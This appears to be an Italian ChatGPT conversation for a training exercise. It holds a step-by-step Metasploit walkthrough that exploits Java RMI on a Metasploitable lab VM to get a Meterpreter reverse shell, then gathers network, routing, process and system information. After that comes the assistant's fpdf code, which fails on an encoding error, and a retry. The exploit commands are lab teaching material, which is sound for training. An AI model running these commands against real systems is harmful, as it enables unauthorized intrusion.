

Per completare l'esercizio, è necessario sfruttare la vulnerabilità del servizio Java RMI sulla porta 1099 della macchina Metasploitable utilizzando Metasploit su una macchina Kali. Seguendo i passaggi indicati, otterremo una sessione Meterpreter sulla macchina vittima e raccoglieremo le informazioni richieste. Di seguito i passaggi dettagliati:

### **Prerequisiti**

1. **Macchina attaccante (Kali):** 192.168.11.111
2. **Macchina vittima (Metasploitable):** 192.168.11.112

### **Passaggi**

#### **1. Configurazione di Metasploit**

##### **1. Avvio di Metasploit:**

bash

Copia codice

msfconsole

##### **2. Ricerca del modulo Java RMI:**

bash

Copia codice

search rmi

3. **Utilizzo del modulo trovato:** Scegliere il modulo appropriato, ad esempio exploit/multi/misc/java\_rmi\_server, e caricarlo:

bash

Copia codice

use exploit/multi/misc/java\_rmi\_server

##### **4. Configurazione delle opzioni del modulo:**

bash

Copia codice

set RHOSTS 192.168.11.112

set RPORT 1099

set LHOST 192.168.11.111

set HTTPDELAY 20 # Se richiesto dall'errore

##### **5. Impostazione del payload:**

bash

Copia codice

set payload java/meterpreter/reverse\_tcp

set LPORT 4444

#### 6. **Verifica delle impostazioni:**

bash

Copia codice

show options

#### 7. **Esecuzione dell'exploit:**

bash

Copia codice

exploit

## 2. **Raccogliere le evidenze sulla macchina remota**

Dopo aver ottenuto una sessione Meterpreter, eseguire i seguenti comandi per raccogliere le informazioni richieste:

#### 1. **Configurazione di rete:**

bash

Copia codice

meterpreter > ifconfig

#### 2. **Tabella di routing:**

bash

Copia codice

meterpreter > run post/multi/gather/enum\_routes

#### 3. **Informazioni aggiuntive (opzionali):**

##### ○ **Lista dei processi attivi:**

bash

Copia codice

meterpreter > ps

##### ○ **Informazioni sul sistema:**

bash

Copia codice

meterpreter > sysinfo

##### ○ **Utenti connessi:**

bash

Copia codice

meterpreter > whoami

### **Esempio di output**

Dopo aver eseguito i comandi di cui sopra, si dovrebbero ottenere delle informazioni come quelle seguenti:

#### **1. Configurazione di rete:**

plaintext

Copia codice

Interface 10

Name eth0

Hardware MAC address: 08:00:27:68:af:2c

IP Address : 192.168.11.112

Netmask : 255.255.255.0

#### **2. Tabella di routing:**

plaintext

Copia codice

Subnet	Netmask	Gateway
192.168.11.0	255.255.255.0	192.168.11.1
0.0.0.0	0.0.0.0	192.168.11.1

#### **3. Informazioni aggiuntive:**

##### **○ Processi attivi:**

plaintext

Copia codice

PID	Name	User
1	init	root
2	kthreadd	root
3	ksoftirqd/0	root

...

##### **○ Informazioni sul sistema:**

plaintext

Copia codice

Computer : metasploitable

OS : Linux 2.6.24-16-server

Architecture : x86

System Language : en\_US

Domain : (none)

- **Utenti connessi:**

plaintext

Copia codice

root

### **Note Finali**

Assicurarsi di avere le corrette autorizzazioni per eseguire tali attività. L'uso di questi strumenti dovrebbe essere limitato ad ambienti controllati e a scopi didattici o di penetrazione autorizzata.

4o

metti tutto in pdf escludendo le note finali

ChatGPT

Errore nell'analisi

python

Mostra sempre dettagli

Copia codice

```
from fpdf import FPDF
```

```
# Creazione del PDF
```

```
pdf = FPDF()
```

```
pdf.add_page()
```

```
# Titolo
```

```
pdf.set_font("Arial", size = 12)
```

```
pdf.cell(200, 10, txt = "Esercizio Traccia e Requisiti", ln = True, align = 'C')
```

```
# Introduzione
```

```
pdf.ln(10)
```

```
pdf.multi_cell(0, 10, txt = ""
```

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

- 1) Configurazione di rete
- 2) Informazioni sulla tabella di routing della macchina vittima
- 3) Altro...

HINT: Se doveste ricevere l'errore mostrato in figura sotto, modificate il parametro HTTPDELAY e configurate il valore a 20

```
""")
```

```
# Prerequisiti
```

```
pdf.ln(10)

pdf.set_font("Arial", 'B', size = 12)

pdf.cell(200, 10, txt = "Prerequisiti", ln = True)

pdf.set_font("Arial", size = 12)

pdf.multi_cell(0, 10, txt = ""

1. Macchina attaccante (Kali): 192.168.11.111

2. Macchina vittima (Metasploitable): 192.168.11.112

""")
```

```
# Passaggi
```

```
pdf.ln(10)

pdf.set_font("Arial", 'B', size = 12)

pdf.cell(200, 10, txt = "Passaggi", ln = True)
```

```
# Configurazione di Metasploit
```

```
pdf.ln(10)

pdf.set_font("Arial", 'B', size = 12)

pdf.cell(200, 10, txt = "1. Configurazione di Metasploit", ln = True)

pdf.set_font("Arial", size = 12)
```

```
pdf.multi_cell(0, 10, txt = ""
```

1. Avvio di Metasploit:

```
msfconsole
```

2. Ricerca del modulo Java RMI:

```
search rmi
```

3. Utilizzo del modulo trovato:

Scegliere il modulo appropriato, ad esempio exploit/multi/misc/java\_rmi\_server, e caricarlo:

```
use exploit/multi/misc/java_rmi_server
```

4. Configurazione delle opzioni del modulo:

```
set RHOSTS 192.168.11.112
```

```
set RPORT 1099
```

```
set LHOST 192.168.11.111
```

```
set HTTPDELAY 20 # Se richiesto dall'errore
```

5. Impostazione del payload:

```
set payload java/meterpreter/reverse_tcp
```

```
set LPORT 4444
```

6. Verifica delle impostazioni:

```
show options
```

7. Esecuzione dell'exploit:

```
exploit
```

```
""")
```

# Raccogliere le evidenze sulla macchina remota

```
pdf.ln(10)
```

```
pdf.set_font("Arial", 'B', size = 12)
```

```
pdf.cell(200, 10, txt = "2. Raccogliere le evidenze sulla macchina remota", ln = True)
```

```
pdf.set_font("Arial", size = 12)
```

```
pdf.multi_cell(0, 10, txt = "")
```

Dopo aver ottenuto una sessione Meterpreter, eseguire i seguenti comandi per raccogliere le informazioni richieste:

1. Configurazione di rete:

```
meterpreter > ifconfig
```

2. Tabella di routing:

```
meterpreter > run post/multi/gather/enum_routes
```

3. Informazioni aggiuntive (opzionali):

- Lista dei processi attivi:

```
meterpreter > ps
```

- Informazioni sul sistema:

```
meterpreter > sysinfo
```

- Utenti connessi:

```
meterpreter > whoami
```

```
""")
```

# Esempio di output

```
pdf.ln(10)
```

```
pdf.set_font("Arial", 'B', size = 12)
```

```
pdf.cell(200, 10, txt = "Esempio di output", ln = True)
```

```
pdf.set_font("Arial", size = 12)
```

```
pdf.multi_cell(0, 10, txt = "")
```

Dopo aver eseguito i comandi di cui sopra, si dovrebbero ottenere delle informazioni come quelle seguenti:

1. Configurazione di rete:

```
Interface 10
```

```
Name    eth0
```

Hardware MAC address: 08:00:27:68:af:2c

IP Address : 192.168.11.112

Netmask : 255.255.255.0

## 2. Tabella di routing:

Subnet	Netmask	Gateway
192.168.11.0	255.255.255.0	192.168.11.1
0.0.0.0	0.0.0.0	192.168.11.1

## 3. Informazioni aggiuntive:

### - Processi attivi:

PID	Name	User
1	init	root
2	kthreadd	root
3	ksoftirqd/0	root
...		

### - Informazioni sul sistema:

Computer : metasploitable  
OS : Linux 2.6.24-16-server  
Architecture : x86  
System Language : en\_US  
Domain : (none)

### - Utenti connessi:

root

""")

# Salvataggio del PDF

output\_path = "/mnt/data/Esercizio\_Metasploitable.pdf"

pdf.output(output\_path)



output\_path

-----  
UnicodeEncodeError Traceback (most recent call last)

Cell In[1], line 137

```
135 # Salvataggio del PDF
136 output_path = "/mnt/data/Esercizio_Metasploitable.pdf"
--> 137 pdf.output(output_path)
139 output_path
```

File ~/.local/lib/python3.11/site-packages/fpdf/fpdf.py:1065, in FPDF.output(self, name, dest)

```
1063 #Finish document if necessary
1064 if(self.state<3):
-> 1065 self.close()
1066 dest=dest.upper()
1067 if(dest==""):
```

File ~/.local/lib/python3.11/site-packages/fpdf/fpdf.py:246, in FPDF.close(self)

```
244 self._endpage()
245 #close document
--> 246 self._enddoc()
```

File ~/.local/lib/python3.11/site-packages/fpdf/fpdf.py:1636, in FPDF.\_enddoc(self)

```
1634 def _enddoc(self):
1635 self._putheader()
-> 1636 self._putpages()
1637 self._putresources()
1638 #Info
```

File ~/.local/lib/python3.11/site-packages/fpdf/fpdf.py:1170, in FPDF.\_putpages(self)

```
1167 #Page content
1168 if self.compress:
1169 # manage binary data as latin1 until PEP461 or similar is implemented
```

```
-> 1170 p = self.pages[n].encode("latin1") if PY3K else self.pages[n]
1171 p = zlib.compress(p)
1172 else:
```

UnicodeEncodeError: 'latin-1' codec can't encode character '\u2013' in position 201: ordinal not in range(256)

Errore nell'analisi

python

Mostra sempre dettagli

Copia codice

from fpdf import FPDF

# Helper function to replace special characters not supported by 'latin-1'

```
def replace_special_characters(text):
```

```
    replacements = {
```

```
        '-': '-',
```

```
        '"': '"',
```

```
        '...': '...',
```

```
    }
```

```
    for old, new in replacements.items():
```

```
        text = text.replace(old, new)
```

```
    return text
```

# Text content with special characters replaced

```
intro_text = replace_special_characters("""
```

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 - Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

- 1) Configurazione di rete
- 2) Informazioni sulla tabella di routing della macchina vittima
- 3) Altro...

HINT: Se doveste ricevere l'errore mostrato in figura sotto, modificate il parametro HTTPDELAY e configurate il valore a 20

```
""")
```

```
config_text = replace_special_characters("""
```

1. Macchina attaccante (Kali): 192.168.11.111
  2. Macchina vittima (Metasploitable): 192.168.11.112
- ```
""")
```

```
steps_text = replace_special_characters("""
```

1. Avvio di Metasploit:

```
msfconsole
```

2. Ricerca del modulo Java RMI:

```
search rmi
```

3. Utilizzo del modulo trovato:

Scegliere il modulo appropriato, ad esempio exploit/multi/misc/java\_rmi\_server, e caricarlo:

```
use exploit/multi/misc/java_rmi_server
```

4. Configurazione delle opzioni del modulo:

```
set RHOSTS 192.168.11.112
```

```
set RPORT 1099
```

```
set LHOST 192.168.11.111
```

```
set HTTPDELAY 20 # Se richiesto dall'errore
```

5. Impostazione del payload:

```
set payload java/meterpreter/reverse_tcp
```

```
set LPORT 4444
```

## 6. Verifica delle impostazioni:

```
show options
```

## 7. Esecuzione dell'exploit:

```
exploit
```

```
"""
```

```
evidences_text = replace_special_characters("""
```

Dopo aver ottenuto una sessione Meterpreter, eseguire i seguenti comandi per raccogliere le informazioni richieste:

### 1. Configurazione di rete:

```
meterpreter > ifconfig
```

### 2. Tabella di routing:

```
meterpreter > run post/multi/gather/enum_routes
```

### 3. Informazioni aggiuntive (opzionali):

- Lista dei processi attivi:

```
meterpreter > ps
```

- Informazioni sul sistema:

```
meterpreter > sysinfo
```

- Utenti connessi:

```
meterpreter > whoami
```

```
"""
```

```
example_output_text = replace_special_characters("""
```

Dopo aver eseguito i comandi di cui sopra, si dovrebbero ottenere delle informazioni come quelle seguenti:

### 1. Configurazione di rete:

Interface 10

Name eth0

Hardware MAC address: 08:00:27:68:af:2c

IP Address : 192.168.11.112

Netmask : 255.255.255.0

## 2. Tabella di routing:

| Subnet       | Netmask       | Gateway      |
|--------------|---------------|--------------|
| 192.168.11.0 | 255.255.255.0 | 192.168.11.1 |
| 0.0.0.0      | 0.0.0.0       | 192.168.11.1 |

## 3. Informazioni aggiuntive:

### - Processi attivi:

| PID | Name        | User |
|-----|-------------|------|
| 1   | init        | root |
| 2   | kthreadd    | root |
| 3   | ksoftirqd/0 | root |
| ... |             |      |

### - Informazioni sul sistema:

Computer : metasploitable  
OS : Linux 2.6.24-16-server  
Architecture : x86  
System Language : en\_US  
Domain : (none)

### - Utenti connessi:

root

""")

# Creazione del PDF

pdf = FPDF()

```
pdf.add_page()
```

```
# Titolo
```

```
pdf.set_font("Arial", size = 12)
```

```
pdf.cell(200, 10, txt = "Esercizio Traccia e Requisiti", ln = True, align = 'C')
```

```
# Introduzione
```

```
pdf.ln(10)
```

```
pdf.multi_cell(0, 10, txt = intro_text)
```

```
# Prerequisiti
```

```
pdf.ln(10)
```

```
pdf.set_font("Arial", 'B', size = 12)
```

```
pdf.cell(200, 10, txt = "Prerequisiti", ln = True)
```

```
pdf.set_font("Arial", size = 12)
```

```
pdf.multi_cell(0, 10, txt = config_text)
```

```
# Passaggi
```

```
pdf.ln(10)
```

```
pdf.set_font("Arial", 'B', size = 12)
```

```
pdf.cell(200, 10, txt = "Passaggi", ln = True)
```

```
# Configurazione di Metasploit
```

```
pdf.ln(10)
```

```
pdf.set_font("Arial", 'B', size = 12)
```

```
pdf.cell(200, 10, txt = "1. Configurazione di Metasploit", ln = True)
```

```
pdf.set_font("Arial", size = 12)
```

```
pdf.multi_cell(0, 10, txt = steps_text)
```

```
# Raccogliere le evidenze sulla macchina remota
```

```
pdf.ln(10)
```

```
pdf.set_font("Arial", 'B', size = 12)
```

```
pdf.cell(200, 10, txt = "2. Raccogliere le evidenze sulla macchina remota", ln = True)
pdf.set_font("Arial", size = 12)
pdf.multi_cell(0, 10, txt = evidences_text)
```

```
# Esempio di output
```

```
pdf.ln(10)
pdf.set_font("Arial", 'B', size = 12)
pdf.cell(200, 10, txt = "Esempio di output", ln = True)
pdf.set_font("Arial", size = 12)
pdf.multi_cell(0, 10, txt = example_output_text)
```

```
# Salvataggio del PDF
```

```
output_path = "/mnt/data/Esercizio_Metasploitable.pdf"
pdf.output(output_path)
```

```
output_path
```